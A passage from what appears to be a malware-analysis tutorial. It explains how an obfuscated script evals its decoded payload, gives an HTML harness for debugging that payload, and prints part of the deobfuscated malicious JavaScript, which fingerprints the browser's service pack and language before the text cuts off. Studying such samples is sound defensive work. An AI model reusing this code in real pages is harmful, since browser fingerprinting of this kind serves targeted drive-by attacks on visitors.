The final line is the equivalent of this.window[eval](string), but the string is the newly decoded javascript, so this javascript is turning around and executing the newly decoded script.&lt;br /&gt;
&lt;br /&gt;
Rather than take a detailed walk through the analysis of the newly decoded javascript, I’ll leave it as an exercise for you. Don’t worry – there’s no use of arguments.callee, so it’s much easy to work with!! Feel free to reformat it and rename variables to make it easier to read. You can create a new website in Visual Studio and debug it the same way. This time we only have the javascript here, so you’ll need to manually add the HTML needed to get it to execute, as you can see in the following example. Notice I used the same technique they did to get the javascript to execute as soon as the page is loaded (meaning you can just add a breakpoint to the top line of the javascript).&lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=tpeHt2gg&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.html4strict .de1, .html4strict .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.html4strict  {font-family:monospace;}.html4strict .imp {font-weight: bold; color: red;}.html4strict li, .html4strict .li1 {background: #ffffff;}.html4strict .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.html4strict .li2 {background: #f8f8f8;}.html4strict .kw2 {color: #000000; font-weight: bold;}.html4strict .kw3 {color: #000066;}.html4strict .es0 {color: #000099; font-weight: bold;}.html4strict .br0 {color: #66cc66;}.html4strict .sy0 {color: #66cc66;}.html4strict .st0 {color: #ff0000;}.html4strict .nu0 {color: #cc66cc;}.html4strict .sc-1 {color: #808080; font-style: italic;}.html4strict .sc0 {color: #00bbdd;}.html4strict .sc1 {color: #ddbb00;}.html4strict .sc2 {color: #009900;}.html4strict span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;html4strict&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;script&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function mytest() &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* insert new JS here */&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;script&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;head&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;mytest();&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Here is the new javascript with formatting: &lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=vPeBF37r&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.javascript .de1, .javascript .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.javascript  {font-family:monospace;}.javascript .imp {font-weight: bold; color: red;}.javascript li, .javascript .li1 {background: #ffffff;}.javascript .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.javascript .li2 {background: #f8f8f8;}.javascript .kw1 {color: #000066; font-weight: bold;}.javascript .kw2 {color: #003366; font-weight: bold;}.javascript .kw3 {color: #000066;}.javascript .co1 {color: #006600; font-style: italic;}.javascript .co2 {color: #009966; font-style: italic;}.javascript .coMULTI {color: #006600; font-style: italic;}.javascript .es0 {color: #000099; font-weight: bold;}.javascript .br0 {color: #009900;}.javascript .sy0 {color: #339933;}.javascript .st0 {color: #3366CC;}.javascript .nu0 {color: #CC0000;}.javascript .me1 {color: #660066;}.javascript span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;javascript&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; ght0jcY_f1c &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;01&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; tI__JGR85k__254 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; navigator.&lt;span class=&quot;me1&quot;&gt;appMinorVersion&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;ght0jcY_f1c &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; tI__JGR85k__254.&lt;span class=&quot;me1&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;;SP&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; ght0jcY_f1c &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; 1&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;-&lt;/span&gt;1&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; tI__JGR85k__254.&lt;span class=&quot;me1&quot;&gt;charAt&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;ght0jcY_f1c &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; 3&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;02&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;2&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;03&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;3&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;04&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;4&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;05&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;5&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;06&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;RC_Vt__07 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;6&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;07&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;01&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;01&quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; tI__JGR85k__254.&lt;span class=&quot;me1&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;Release Candidate&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nu0&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; DMv_m70U81LIb &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;08&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; RihOuI_7K &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;2&quot;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; DMv_m70U81LIb&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; W118_aA4eh4O&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;W118_aA4eh4O &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; navigator.&lt;span class=&quot;me1&quot;&gt;systemLanguage&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;W118_aA4eh4O &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; navigator.&lt;span class=&quot;me1&quot;&gt;userLanguage&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;W118_aA4eh4O &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; navigator.&lt;span class=&quot;me1&quot;&gt;browserLanguage&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; W118_aA4eh4O &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; navigator.&lt;span class=&quot;me1&quot;&gt;language&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;W118_aA4eh4O&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; W118_aA4eh4O &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; W118_aA4eh4O.&lt;span class=&quot;me1&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;0&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; 10&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; QS743__js_4 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; H4_p__kQ4 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt; H4_p__kQ4 &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; W118_aA4eh4O.&lt;span class=&quot;me1&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt; H4_p__kQ4&lt;span class=&quot;sy0&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; DL___q0_RU54_T &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; W118_aA4eh4O.&lt;span class=&quot;me1&quot;&gt;charCodeAt&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;H4_p__kQ4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;.&lt;span class=&quot;me1&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;16&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;DL___q0_RU54_T &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; QS743__js_4 &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; QS743__js_4 &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; DL___q0_RU54_T&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;QS743__js_4.&lt;span class=&quot;me1&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
